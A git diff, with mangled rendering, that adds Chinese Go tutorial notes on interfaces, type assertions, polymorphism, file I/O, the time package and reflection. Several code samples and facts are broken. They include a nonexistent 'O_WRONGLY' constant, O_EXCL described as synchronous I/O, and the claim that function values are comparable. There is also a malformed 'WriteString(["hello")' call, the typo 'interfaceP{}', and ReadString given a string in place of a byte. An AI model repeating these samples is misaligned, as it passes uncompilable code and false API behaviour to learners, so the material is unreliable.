#### 4.3 空接口值比较
|
||||
|
||||
类型不同的空接口比较:
|
||||
```go
|
||||
var a interface{} = 100
|
||||
var b interface{} = "hi"
|
||||
|
||||
fmt.Println(a == b) //false
|
||||
```
|
||||
|
||||
不能比较空接口中的动态值:
|
||||
```go
|
||||
var c interface{} = []int{10}
|
||||
var d interface{} = []int{20}
|
||||
fmt.Println(c == d) //运行报错
|
||||
```
|
||||
|
||||
空接口的类型和可比较性:
|
||||
|
||||
| 类型 | 说明 |
|
||||
| ---- | ---- |
|
||||
| map | 不可比较,会发生宕机错误 |
|
||||
| 切片 | 不可比较,会发生宕机错误 |
|
||||
| 通道 | 可比较,必须由同一个make生成,即同一个通道才是true |
|
||||
| 数组 | 可比较,编译期即可知道是否一致 |
|
||||
| 结构体 | 可比较,可诸葛比较结构体的值 |
|
||||
| 函数 | 可比较 |
|
163
01-基础语法/12-接口类型-2-断言与多态.md
Normal file
163
01-基础语法/12-接口类型-2-断言与多态.md
Normal file
@ -0,0 +1,163 @@
|
||||
## 一 断言
|
||||
|
||||
接口是编程的规范,他也可以作为函数的参数,以让函数更具备适用性。在下列示例中,有三个接口动物接口、飞翔接口、游泳接口,两个实现类鸟类与鱼类:
|
||||
- 鸟类:实现了动物接口,飞翔接口
|
||||
- 鱼类:实现了动物接口,游泳接口
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
|
||||
// 定义一个通用接口:动物接口
|
||||
type Animal interface {
|
||||
Breath() // 动物都具备 呼吸方法
|
||||
}
|
||||
|
||||
type Flyer interface {
|
||||
Fly()
|
||||
}
|
||||
type Swimer interface {
|
||||
Swim()
|
||||
}
|
||||
|
||||
// 定义一个鸟类:其呼吸的方式是在陆地
|
||||
type Bird struct {
|
||||
Name string
|
||||
Food string
|
||||
Kind string
|
||||
}
|
||||
func (b *Bird) Breath() {
|
||||
fmt.Println("鸟 在 陆地 呼吸")
|
||||
}
|
||||
func (b *Bird) Fly() {
|
||||
fmt.Printf("%s 在 飞\n", b.Name)
|
||||
}
|
||||
|
||||
// 一定一个鱼类:其呼吸方式是在水下
|
||||
type Fish struct {
|
||||
Name string
|
||||
Kind string
|
||||
}
|
||||
func (f *Fish) Breath() {
|
||||
fmt.Println("鱼 在 水下 呼吸")
|
||||
}
|
||||
func (f *Fish) Swim() {
|
||||
fmt.Printf("%s 在游泳\n", f.Name)
|
||||
}
|
||||
|
||||
// 一个普通函数,参数是动物接口
|
||||
func Display(a Animal) {
|
||||
// 直接调用接口中的方法
|
||||
a.Breath()
|
||||
// 调用实现类的成员:此时会报错
|
||||
fmt.Println(a.Name)
|
||||
}
|
||||
|
||||
func main() {
|
||||
var b = &Bird{
|
||||
"斑鸠",
|
||||
"蚂蚱",
|
||||
"鸟类"
|
||||
}
|
||||
Display(b)
|
||||
}
|
||||
```
|
||||
|
||||
接口类型无法直接访问其具体实现类的成员,需要使用断言(type assertions),对接口的类型进行判断,类型断言格式:
|
||||
```go
|
||||
t := i.(T) //不安全写法:如果i没有完全实现T接口的方法,这个语句将会触发宕机
|
||||
t, ok := i.(T) // 安全写法:如果接口未实现接口,将会把ok掷为false,t掷为T类型的0值
|
||||
```
|
||||
- i代表接口变量
|
||||
- T代表转换的目标类型
|
||||
- t代表转换后的变量
|
||||
|
||||
|
||||
上述案例的Dsiplay就可以书写为:
|
||||
```go
|
||||
func Display(a Animal) {
|
||||
// 直接调用接口中的方法
|
||||
a.Breath()
|
||||
// 调用实现类的成员:此时会报错
|
||||
instance, ok := a.(*Bird) // 注意:这里必须是 *Bird类型,因为是*Bird实现了接口,不是Bird实现了接口
|
||||
if ok {
|
||||
// 得到了具体的实现类,才能访问实现类的成员
|
||||
fmt.Println("该鸟类的名字是:", instance.Name)
|
||||
} else {
|
||||
fmt.Println("该动物不是鸟类")
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 二 接口类型转换
|
||||
|
||||
在接口定义时,其类型已经确定,因为接口的本质是方法签名的集合,如果两个接口的方法签名结合相同(顺序可以不同),则这2个接口之间不需要强制类型转换就可以相互赋值,因为go编译器在校验接口是否能赋值时,比较的是二者的方法集。
|
||||
|
||||
在上一节中,函数Display接收的是Animal接口类型,在断言后转换为了别的类型:*Bird(实现类指针类型):
|
||||
```go
|
||||
func Display(a Animal) {
|
||||
instance, ok := a.(*Bird) // 动物接口转换为了 *Bird实现类
|
||||
if ok {
|
||||
// 得到了具体的实现类,才能访问实现类的成员
|
||||
fmt.Println("该鸟类的名字是:", instance.Name)
|
||||
} else {
|
||||
fmt.Println("该动物不是鸟类")
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
其实,断言还可以将接口转换成另外一个接口:
|
||||
```go
|
||||
func Display(a Animal) {
|
||||
instance, ok := a.(Flyer) // 动物接口转换为了飞翔接口
|
||||
if ok {
|
||||
instance.Fly()
|
||||
} else {
|
||||
fmt.Println("该动物不会飞")
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
一个实现类往往实现了很多接口,为了精准类型查询,可以使用switch语句来判断对象类型:
|
||||
```go
|
||||
var v1 interfaceP{} = ...
|
||||
switch v := v1.(type) {
|
||||
case int:
|
||||
case string:
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
## 三 多态
|
||||
|
||||
多态是面向对象的三大特性之一,即一个类型具备多种具体的表现形式。
|
||||
|
||||
上述示例中,鸟和鱼都实现了动物接口的 Breath方法,即动物的Breath方法在鸟和鱼中具备不同的体现。我们在new出动物的具体对象实例时,这个对象实例也就实现了对应自己的接口方法。
|
||||
|
||||
```go
|
||||
// New出Animal的函数
|
||||
func NewAnimal(kind string) Animal{
|
||||
|
||||
switch kind {
|
||||
case "鸟类":
|
||||
return &Bird{}
|
||||
case "鱼类":
|
||||
return &Fish{}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func main() {
|
||||
// 获取的是动物接口类型,但是实现类是鸟类
|
||||
a1 := NewAnimal("鸟类")
|
||||
a1.Breath() // 鸟 在 陆地 呼吸
|
||||
|
||||
// 获取的是动物接口类型,但是实现类是鱼类
|
||||
a2 := NewAnimal("鱼类")
|
||||
a2.Breath() // 鱼 在 水下 呼吸
|
||||
}
|
||||
```
|
136
01-基础语法/13-文件操作-1-写操作.md
Normal file
136
01-基础语法/13-文件操作-1-写操作.md
Normal file
@ -0,0 +1,136 @@
|
||||
## 一 文件的基本操作
|
||||
|
||||
### 1.1 创建文件
|
||||
```go
|
||||
f, err := os.Create("test.txt")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
fmt.Println(f) // 打印文件指针
|
||||
f.Close() // 打开的资源在不使用时必须关闭
|
||||
```
|
||||
|
||||
使用Create()创建文件时:
|
||||
- 如果文件不存在,则创建文件。
|
||||
- 如果文件存在,则清空文件内内容。
|
||||
- Create创建的文件任何人都可以读写。
|
||||
|
||||
### 1.2 打开文件,写入内容
|
||||
|
||||
打开文件有两种方式:
|
||||
- Open():以只读的方式打开文件,若文件不存在则会打开失败
|
||||
- OpenFile():打开文件时,可以传入打开方式,该函数的三个参数:
|
||||
- 参数1:要打开的文件路径
|
||||
- 参数2:文件打开模式,如 `O_RDONLY`,`O_WRONGLY`,`O_RDWR`,还可以通过管道符来指定文件不存在时创建文件
|
||||
- 参数3:文件创建时候的权限级别,在0-7之间,常用参数为6
|
||||
|
||||
```go
|
||||
f, err := os.OpenFile("test.txt", os.O_APPEND | os.O_RDWR, os.ModeAppend)
|
||||
if err != nil {
|
||||
fmt.Println("open file err: ", err)
|
||||
return
|
||||
}
|
||||
f.Close()
|
||||
```
|
||||
|
||||
常用的文件打开模式:
|
||||
```go
|
||||
O_RDONLY int = syscall.O_RDONLY // 只读
|
||||
O_WRONGLY int = syscall.O_WRONGLY // 只写
|
||||
O_RDWR int = syscall.O_RDWR // 读写
|
||||
O_APPEND int = syscall.O_APPEND // 写操作时将数据追加到文件末尾
|
||||
O_CREATE int = syscall.O_CREATE // 如果不存在则创建一个新文件
|
||||
O_EXCL int = syscall.O_EXCL // 打开文件用于同步I/O
|
||||
O_TRUNC int = syscall.O_TRUNC // 如果可能,打开时清空文件
|
||||
```
|
||||
|
||||
### 1.3 写文件
|
||||
|
||||
写入字节 `Write()`:
|
||||
```go
|
||||
// 写入文件内容
|
||||
n, err := f.Write([]byte("hello"))
|
||||
if err != nil {
|
||||
fmt.Println("write err: ", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("write number = ", n)
|
||||
```
|
||||
|
||||
按字符串写 `WriteString()`:
|
||||
```go
|
||||
// 写入文件内容
|
||||
n, err := f.WriteString(["hello") // 会将前5个字符替换为 hello
|
||||
if err != nil {
|
||||
fmt.Println("write err: ", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("write number = ", n)
|
||||
```
|
||||
|
||||
修改文件的读写指针位置 `Seek()`,包含两个参数:
|
||||
- 参数1:偏移量,为正数时向文件尾偏移,为负数时向文件头偏移
|
||||
- 参数2:偏移的开始位置,包括:
|
||||
- io.SeekStart:从文件起始位置开始
|
||||
- io.SeekCurrent:从文件当前位置开始
|
||||
- io.SeekEnd:从文件末尾位置开始
|
||||
|
||||
`Seek()`函数返回
|
||||
```go
|
||||
f, _ := os.OpenFile("test.txt",os.O_RDWR, 6)
|
||||
off, _ := f.Seek(5, io.SeekStart)
|
||||
fmt.Println(off) // 5
|
||||
n, _ := f.WriteAt([]byte("111"), off)
|
||||
fmt.Println(n)
|
||||
f.Close()
|
||||
```
|
||||
|
||||
### 1.4 获取文件描述信息 os.Stat()
|
||||
|
||||
Go的os包中定义了file类,封装了文件描述信息,同时也提供了Read、Write的实现。
|
||||
```go
|
||||
fileInfo, err := os.Stat("./test.txt")
|
||||
if err != nil {
|
||||
fmt.Println("stat err: ", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("%T\n", fileInfo) // *os.fileStat
|
||||
```
|
||||
|
||||
获取到的fileInfo内部包含 `文件名Name()`、`大小Size()`、`是否是目录IsDir()` 等操作。
|
||||
|
||||
|
||||
### 1.5 路径、目录操作
|
||||
```go
|
||||
// 路径操作
|
||||
fmt.Println(filepath.IsAbs("./test.txt")) // false:判断是否是绝对路径
|
||||
fmt.Println(filepath.Abs("./test.txt")) // 转换为绝对路径
|
||||
|
||||
// 创建目录
|
||||
err := os.Mkdir("./test", os.ModePerm)
|
||||
if err != nil {
|
||||
fmt.Println("mkdir err: ", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 创建多级目录
|
||||
err = os.MkdirAll("./dd/rr", os.ModePerm)
|
||||
if err != nil {
|
||||
fmt.Println("mkdirAll err: ", err)
|
||||
return
|
||||
}
|
||||
```
|
||||
|
||||
贴士:Openfile()可以用于打开目录。
|
||||
|
||||
### 1.6 删除文件
|
||||
```go
|
||||
err := os.Remove("test.txt")
|
||||
if err != nil {
|
||||
fmt.Println("remove err:", err)
|
||||
return
|
||||
}
|
||||
```
|
||||
|
||||
该函数也可用于删除目录(只能删除空目录)。如果要删除非空目录,需要使用 `RemoveAll()` 函数
|
158
01-基础语法/13-文件操作-2-读操作.md
Normal file
158
01-基础语法/13-文件操作-2-读操作.md
Normal file
@ -0,0 +1,158 @@
|
||||
## 一 文件读取
|
||||
|
||||
文件读写的接口位于io包,file文件类是这些接口的实现类。
|
||||
|
||||
### 1.1 直接读取 read()
|
||||
|
||||
read() 实现的是按字节数读取:
|
||||
```go
|
||||
readByte := make([]byte, 128) // 指定要读取的长度
|
||||
for {
|
||||
n, err := f.Read(readByte) // 将数据读取如切片,返回值 n 是实际读取到的字节数
|
||||
if err != nil && err != io.EOF{ // 如果读到了文件末尾:EOF 即 end of file
|
||||
fmt.Println("read file : ", err)
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Println("read: ", string(readByte[:n]))
|
||||
if n < 128 {
|
||||
fmt.Println("read end")
|
||||
break
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 1.2 bufio的写操作
|
||||
|
||||
bufio封装了io.Reader、io.Writer接口对象,并创建了另一个也实现了该接口的对象:bufio.Reader、bufio.Writer。通过该实现,bufio实现了文件的缓冲区设计,可以大大提高文件I/O的效率。
|
||||
|
||||
使用bufio读取文件时,先将数据读入内存的缓冲区(缓冲区一般比要比程序中设置的文件接收对象要大),这样就可以有效降低直接I/O的次数。
|
||||
|
||||
`bufio.Read([]byte)`相当于读取大小`len(p)`的内容:
|
||||
- 当缓冲区有内容时,将缓冲区内容全部填入p并清空缓冲区
|
||||
- 当缓冲区没有内容且`len(p)>len(buf)`,即要读取的内容比缓冲区还要大,直接去文件读取即可
|
||||
- 当缓冲区没有内容且`len(p)<len(buf)`,即要读取的内容比缓冲区小,读取文件内容并填满缓冲区,并将p填满
|
||||
- 以后再次读取时,缓冲区有内容,将缓冲区内容全部填入p并清空缓冲区(和第一步一致)
|
||||
|
||||
示例:
|
||||
```go
|
||||
// 创建读对象
|
||||
reader := bufio.NewReader(f)
|
||||
|
||||
// 读一行数据
|
||||
byt, _ := reader.ReadBytes('\n')
|
||||
fmt.Println(string(byt))
|
||||
```
|
||||
|
||||
ReadString() 函数也具有同样的功能,且能直接读取到字符串数据,无需转换,示例:读取大文件的全部数据
|
||||
```go
|
||||
reader := bufio.NewReader(f)
|
||||
for { // 按照缓冲区读取:读取到特定字符结束
|
||||
str, err := reader.ReadString('\n') // 按行读取
|
||||
if err != nil && err != io.EOF {
|
||||
fmt.Println("read err: ", err)
|
||||
break
|
||||
}
|
||||
fmt.Println("str = ", str)
|
||||
if err == io.EOF {
|
||||
fmt.Print("read end")
|
||||
break
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在Unix设计思想中,一切皆文件,命令行输入也可以作为文件读入:
|
||||
```go
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
s, _ := reader.ReadString("-") // 假设命令行以 - 开始
|
||||
```
|
||||
|
||||
缓冲的思想:通过bufio,数据被写入用户缓冲,再进入系统缓冲,最后由操作系统将系统缓冲区的数据写入磁盘。
|
||||
|
||||
### 1.3 io/ioutil 包文件读取
|
||||
|
||||
ioutil直接读取文件:
|
||||
```go
|
||||
ret, err := ioutil.ReadFile("test.txt")
|
||||
if err != nil {
|
||||
fmt.Println("read err :", err)
|
||||
return
|
||||
}
|
||||
fmt.Println(string(ret))
|
||||
```
|
||||
|
||||
### 二 文件写入
|
||||
|
||||
### 2.1 直接写
|
||||
|
||||
```go
|
||||
f, err := os.OpenFile("test.txt", os.O_CREATE | os.O_WRONLY, os.ModePerm)
|
||||
if err != nil {
|
||||
fmt.Println("open err:", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
n, err := f.Write([]byte("hello world"))
|
||||
if err != nil {
|
||||
fmt.Println("write err:", err)
|
||||
}
|
||||
fmt.Println(n) // 每次都会从头开始重新写入
|
||||
```
|
||||
|
||||
上述案例中,如果我们不想每次写入都会从头开始重新写入,那么需要将打开模式修改为:`os.O_CREATE | os.O_WRONLY | os.O_APPEND`
|
||||
|
||||
### 2.2 bufio的写操作
|
||||
|
||||
```go
|
||||
writer := bufio.NewWriter(f)
|
||||
_, err = writer.WriteString("hello world!")
|
||||
if err != nil {
|
||||
fmt.Println("write err:", err)
|
||||
return
|
||||
}
|
||||
writer.Flush() // 必须刷新缓冲区:将缓冲区的内容写入文件中。如果不刷新,则只会在内容超出缓冲区大小时写入
|
||||
```
|
||||
|
||||
### 2.3 io/ioutil 包文件写入
|
||||
|
||||
```go
|
||||
s := "你好世界"
|
||||
err := ioutil.WriteFile("test.txt", []byte(s), os.ModePerm)
|
||||
```
|
||||
|
||||
## 三 文件读取偏移量
|
||||
|
||||
文件读取时,是可以控制光标位置的:
|
||||
```go
|
||||
f, err := os.OpenFile("test.txt", os.O_RDWR, os.ModePerm)
|
||||
if err != nil {
|
||||
fmt.Println("open err:", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
// 读取前五个字节,假设读取的文件内容为: hello world!
|
||||
bs := []byte{0} // 创建1个字节的切片
|
||||
_, err = f.Read(bs)
|
||||
if err != nil {
|
||||
fmt.Println("read err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("读到的数据是:", string(bs)) // h
|
||||
|
||||
// 移动光标
|
||||
_, err = f.Seek(4, io.SeekStart) // 光标从开始位置(h之前),移动4位,到达o之前
|
||||
if err != nil {
|
||||
fmt.Println("seek err:", err)
|
||||
return
|
||||
}
|
||||
_, err = f.Read(bs)
|
||||
if err != nil {
|
||||
fmt.Println("read err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("读到的数据是:", string(bs)) // o
|
||||
```
|
||||
|
||||
通过记录光标的位置,可以实现断点续传:假设已经下载了1KB文件,即本地临时文件存储了1KB,此时断电,重启后通过本地文件大小、Seek()方法获取到上次读取文件的光标位置即可实现继续下载!
|
107
01-基础语法/14-时间操作.md
Normal file
107
01-基础语法/14-时间操作.md
Normal file
@ -0,0 +1,107 @@
|
||||
## 一 时间操作
|
||||
|
||||
### 1.1 创建时间
|
||||
|
||||
Golang中时间操作位于 time 包中,常见操作有:
|
||||
```go
|
||||
// 当前时间
|
||||
nowTime := time.Now()
|
||||
fmt.Printf("当前时间为:%T\n", nowTime) // 其类型是 time.Time
|
||||
fmt.Println(nowTime) // 2019-01-01 13:50:07.522712 +0800 CST m=+0.000138178
|
||||
|
||||
// 自定义时间
|
||||
customTime := time.Date(2008, 7, 15, 13, 30,0,0, time.Local)
|
||||
fmt.Println(customTime) // 2008-07-15 13:30:00 +0800 CST
|
||||
```
|
||||
|
||||
### 1.2 时间格式化与解析
|
||||
|
||||
Go的时间格式化必须传入Go的生日:`Mon Jan 2 15:04:05 -0700 MST 2006`
|
||||
```go
|
||||
nowTime := time.Now()
|
||||
stringTime := nowTime.Format("2006年1月2日 15:04:05")
|
||||
fmt.Println(stringTime) // 2019年01月01日 13:55:30
|
||||
```
|
||||
|
||||
Go的时间解析:
|
||||
```go
|
||||
stringTime := "2019-01-01 15:03:01"
|
||||
objTime,_ := time.Parse("2006-01-02 15:04:05",stringTime)
|
||||
fmt.Println(objTime) // 2019-01-01 15:03:01 +0000 UTC
|
||||
```
|
||||
|
||||
注意:这些方法的参数模板必须与时间一一对应,否则报错!
|
||||
|
||||
### 1.3 获取 年 月 日
|
||||
|
||||
```go
|
||||
nowTime := time.Now()
|
||||
|
||||
year, month, day := nowTime.Date()
|
||||
fmt.Println(year, month, day) // 2019 November 01
|
||||
|
||||
hour, min, sec := nowTime.Clock()
|
||||
fmt.Println(hour, min, sec)
|
||||
|
||||
fmt.Println(nowTime.Year())
|
||||
fmt.Println(nowTime.Month())
|
||||
fmt.Println(nowTime.Hour())
|
||||
|
||||
fmt.Println(nowTime.YearDay()) // 指今年一共过了多少天
|
||||
```
|
||||
|
||||
### 1.4 时间戳
|
||||
|
||||
时间戳是指计算时间距离 1970年1月1日的秒数:
|
||||
```go
|
||||
nowTime := time.Now()
|
||||
fmt.Println(nowTime.Unix())
|
||||
```
|
||||
|
||||
### 1.5 时间间隔
|
||||
|
||||
```go
|
||||
nowTime := time.Now()
|
||||
fmt.Println(nowTime.Add(time.Second * 10)) // 10秒后
|
||||
fmt.Println(nowTime.AddDate(1, 0, 0)) // 1年后
|
||||
```
|
||||
|
||||
贴士:
|
||||
- 传入负数则是往前计算
|
||||
- Sub()函数可以用来计算两个时间的差值
|
||||
|
||||
### 1.6 时间睡眠
|
||||
|
||||
```go
|
||||
time.Sleep(time.Second * 3) // 程序睡眠三秒钟
|
||||
```
|
||||
|
||||
## 二 时间中的通道操作(定时器)
|
||||
|
||||
标准库中的Timer可以让用户自定义一个定时器,在用对select处理多个channel的超时、单channel读写的超时等情形时很方便:
|
||||
```go
|
||||
timer := time.NewTimer(time.Second * 3) // 类型为 *time.Timer
|
||||
ch := timer.C // timer内部包含一个通道
|
||||
fmt.Println(<-ch) // 3秒后,通道内有了数据,可以取出
|
||||
```
|
||||
|
||||
配合协程:
|
||||
```go
|
||||
|
||||
timer := time.NewTimer(time.Second * 3) // 类型为 *time.Timer
|
||||
go func() {
|
||||
<- timer.C
|
||||
fmt.Println("timer 结束")
|
||||
}()
|
||||
|
||||
time.Sleep(time.Second * 5)
|
||||
flag := timer.Stop() // 取消定时器
|
||||
fmt.Println(flag) // false
|
||||
```
|
||||
|
||||
time.After函数的使用:
|
||||
```go
|
||||
ch := time.After(time.Second * 3) // 底层其实是 new Timer(d).C
|
||||
newTime := <-ch // 阻塞3秒
|
||||
fmt.Println(newTime)
|
||||
```
|
88
01-基础语法/15-反射-1-概述.md
Normal file
88
01-基础语法/15-反射-1-概述.md
Normal file
@ -0,0 +1,88 @@
|
||||
## 一 反射简介
|
||||
|
||||
反射是指在程序运行期对程序本身进行访问和修改的能力,即可以在运行时动态获取变量的各种信息,比如变量的类型(type),类别(kind),如果是结构体变量,还可以获取到结构体本身的信息(字段与方法),通过反射,还可以修改变量的值,可以调用关联的方法。
|
||||
|
||||
反射常用在框架的开发上,一些常见的案例,如JSON序列化时候tag标签的产生,适配器函数的制作等,都需要用到反射。反射的两个使用常见使用场景:
|
||||
- 不知道函数的参数类型:没有约定好参数、传入类型很多,此时类型不能统一表示,需要反射
|
||||
- 不知道调用哪个函数:比如根据用户的输入来决定调用特定函数,此时需要依据函数、函数参数进行反射,在运行期间动态执行函数
|
||||
|
||||
Go程序的反射系统无法获取到一个可执行文件空间中或者是一个包中的所有类型信息,需要配合使用标准库中对应的词法、语法解析器和抽象语法树( AST) 对源码进行扫描后获得这些信息。
|
||||
|
||||
贴士:
|
||||
- C,C++没有支持反射功能,只能通过 typeid 提供非常弱化的程序运行时类型信息。
|
||||
- Java、 C#等语言都支持完整的反射功能。
|
||||
- Lua、JavaScript类动态语言,由于其本身的语法特性就可以让代码在运行期访问程序自身的值和类型信息,因此不需要反射系统。
|
||||
|
||||
注意:
|
||||
- 在编译期间,无法对反射代码进行一些错误提示。
|
||||
- 反射影响性能
|
||||
|
||||
## 二 反射是如何实现的
|
||||
|
||||
反射是通过接口的类型信息实现的,即反射建立在类型的基础上:当向接口变量赋予一个实体类型的时候,接口会存储实体的类型信息。
|
||||
|
||||
Go中反射相关的包是`reflect`,在该包中,定义了各种类型,实现了反射的各种函数,通过它们可以在运行时检测类型的信息、改变类型的值。
|
||||
|
||||
变量包括type、value两个部分(所以 `nil != nil` ),type包括两部分:
|
||||
- static type:在开发时使用的类型,如int、string
|
||||
- concrete type:是runtime系统使用的类型
|
||||
|
||||
类型能够断言成功,取决于 concrete type ,如果一个reader变量,如果 concrete type 实现了 write 方法,那么它可以被类型断言为writer。
|
||||
|
||||
Go中,反射与interface类型相关,其type是 concrete type,只有interface才有反射!每个interface变量都有一个对应的pair,pair中记录了变量的实际值和类型(value, type)。即一个接口类型变量包含2个指针,一个指向对应的 concrete type ,另一个指向实际的值 value。
|
||||
|
||||
示例:
|
||||
```go
|
||||
var r io.Reader // 定义了一个接口类型
|
||||
r, err := os.OpenFile() // 记录接口的实际类型、实际值
|
||||
|
||||
var w io.Writer // 定义一个接口类型
|
||||
w = r.(io.Writer) // 赋值时,接口内部的pair不变,所以 w 和 r 是同一类型
|
||||
```
|
||||
|
||||
## 三 Go中反射初识
|
||||
|
||||
### 3.1 reflect包的两个函数
|
||||
|
||||
reflect 提供了2个重要函数:
|
||||
- ValueOf():获取变量的值,即pair中的 value
|
||||
- TypeOf():获取变量的类型,即pair中的 concrete type
|
||||
|
||||
```go
|
||||
type Person struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
p := Person{ "lisi", 13}
|
||||
|
||||
fmt.Println(reflect.ValueOf(p)) // {lisi 13} 变量的值
|
||||
fmt.Println(reflect.ValueOf(p).Type()) // main.Person 变量类型的对象名
|
||||
|
||||
fmt.Println(reflect.TypeOf(p)) // main.Person 变量类型的对象名
|
||||
|
||||
fmt.Println(reflect.TypeOf(p).Name()) // Person:变量类型对象的类型名
|
||||
fmt.Println(reflect.TypeOf(p).Kind()) // struct:变量类型对象的种类名
|
||||
|
||||
fmt.Println(reflect.TypeOf(p).Name() == "Person") // true
|
||||
fmt.Println(reflect.TypeOf(p).Kind() == reflect.Struct) //true
|
||||
```
|
||||
|
||||
类型与种类的区别:
|
||||
- Type是原生数据类型: int、string、bool、float32 ,以及 type 定义的类型,对应的反射获取方法是 reflect.Type 中 的 Name()
|
||||
- Kind是对象归属的品种:Int、Bool、Float32、Chan、String、Struct、Ptr(指针)、Map、Interface、Fune、Array、Slice、Unsafe Pointer等
|
||||
|
||||
|
||||
### 3.2 静态类型与动态类型
|
||||
|
||||
静态类型:变量声明时候赋予的类型
|
||||
```go
|
||||
type MyInt int // int 是静态类型
|
||||
var i *int // *int 是静态类型
|
||||
```
|
||||
|
||||
动态类型:运行时给这个变量赋值时,这个值的类型即为动态类型(为nil时没有动态类型)。
|
||||
```go
|
||||
var A interface{} // 空接口 是静态类型,必须是接口类型才能实现类型动态变化
|
||||
A = 10 // 此时静态类型为 interface{} 动态为int
|
||||
A = "hello" // 此时静态类型为 interface{} 动态为string
|
||||
```
|
146
01-基础语法/15-反射-2-应用.md
Normal file
146
01-基础语法/15-反射-2-应用.md
Normal file
@ -0,0 +1,146 @@
|
||||
## 一 反射的使用
|
||||
|
||||
#### 1.1 反射操作简单数据类型
|
||||
```go
|
||||
var num int64 = 100
|
||||
|
||||
// 设置值:指针传递
|
||||
ptrValue := reflect.ValueOf(&num)
|
||||
newValue := ptrValue.Elem() // Elem()用于获取原始值的反射对象
|
||||
fmt.Println("type:", newValue.Type()) // int64
|
||||
fmt.Println(" can set:", newValue.CanSet()) // true
|
||||
newValue.SetInt(200)
|
||||
|
||||
// 获取值:值传递
|
||||
rValue := reflect.ValueOf(num)
|
||||
fmt.Println(rValue.Int()) // 方式一:200
|
||||
fmt.Println(rValue.Interface().(int64)) // 方式二:200
|
||||
```
|
||||
|
||||
#### 1.2 反射进行类型推断
|
||||
|
||||
```go
|
||||
type user struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
u := &user{
|
||||
Name: "Ruyue",
|
||||
Age: 100,
|
||||
}
|
||||
|
||||
fmt.Println(reflect.TypeOf(u)) // *main.user
|
||||
fmt.Println(reflect.TypeOf(*u)) // main.user
|
||||
fmt.Println(reflect.TypeOf(*u).Name()) // user
|
||||
fmt.Println(reflect.TypeOf(*u).Kind()) // struct
|
||||
```
|
||||
|
||||
#### 1.3 反射操作指针
|
||||
|
||||
```go
|
||||
type user struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
u := &user{
|
||||
Name: "Ruyue",
|
||||
Age: 100,
|
||||
}
|
||||
|
||||
typeOfUser = reflect.TypeOf(u).Elem()
|
||||
fmt.Println("element name: ", typeOfUser.Name()) // user
|
||||
fmt.Println("element kind: ", typeOfUser.Kind()) // struct
|
||||
```
|
||||
|
||||
#### 1.4 反射操作结构体
|
||||
|
||||
反射可以获取结构体的详细信息:
|
||||
```go
|
||||
type user struct {
|
||||
Name string
|
||||
Age int `json:"age" id:"100"` // 结构体标签
|
||||
}
|
||||
|
||||
s := user{
|
||||
Name: "zs",
|
||||
Age: 1,
|
||||
}
|
||||
|
||||
typeOfUser := reflect.TypeOf(s)
|
||||
|
||||
// 字段用法
|
||||
for i := 0; i < typeOfUser.NumField(); i++ { // NumField 当前结构体有多少个字段
|
||||
fieldType := typeOfUser.Field(i) // 获取每个字段
|
||||
fmt.Println(fieldType.Name, fieldType.Tag)
|
||||
}
|
||||
if userAge, ok := typeOfUser.FieldByName("Age"); ok {
|
||||
fmt.Println(userAge) // {Age int json:"age" id:"100" 16 [1] false}
|
||||
}
|
||||
|
||||
// 方法用法
|
||||
for i := 0; i < typeOfUser.NumMethod(); i++ {
|
||||
fieldType := typeOfUser.Method(i) // 获取每个字段
|
||||
fmt.Println(fieldType.Name)
|
||||
}
|
||||
```
|
||||
|
||||
## 二 反射调用函数与方法
|
||||
|
||||
#### 2.1 使用反射调用函数
|
||||
|
||||
如果反射值对象(reflect.Value)中值的类型为函数时,可以通过 reflect.Value调用该 函数。使用反射调用函数时,需要将参数使用反射值对象的切片 口reflect.Value 构造后传入 Call()方法中 , 调用完成时,函数的返回值通过 []reflect.Value 返回 。
|
||||
|
||||
```go
|
||||
func add(name string, age int) {
|
||||
fmt.Printf("name is %s, age is %d \n", name, age)
|
||||
}
|
||||
|
||||
func main() {
|
||||
funcValue := reflect.ValueOf(add)
|
||||
params := []reflect.Value{reflect.ValueOf("lisi"), reflect.ValueOf(20)}
|
||||
|
||||
reList := funcValue.Call(params)
|
||||
fmt.Println(reList) // 函数返回值
|
||||
}
|
||||
```
|
||||
|
||||
### 2.2 反射调用方法
|
||||
|
||||
方法的调用是需要接收者的:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"reflect"
|
||||
)
|
||||
|
||||
type user struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
func (u *user) ShowName() {
|
||||
fmt.Println(u.Name)
|
||||
}
|
||||
|
||||
func (u *user) AddAge(addNum int) {
|
||||
fmt.Println("age add result:", u.Age + addNum)
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
u := &user{"lisi", 20}
|
||||
v := reflect.ValueOf(u)
|
||||
|
||||
// 调用无参方法
|
||||
methodV := v.MethodByName("ShowName")
|
||||
methodV.Call(nil) // 或者传递一个空切片也可
|
||||
|
||||
// 调用有参方法
|
||||
methodV2 := v.MethodByName("AddAge")
|
||||
args := []reflect.Value{reflect.ValueOf(30)} //
|
||||
methodV2.Call(args)
|
||||
}
|
||||
```
|
103
02-并发编程/00-1-并发简略-概述.md
Normal file
103
02-并发编程/00-1-并发简略-概述.md
Normal file
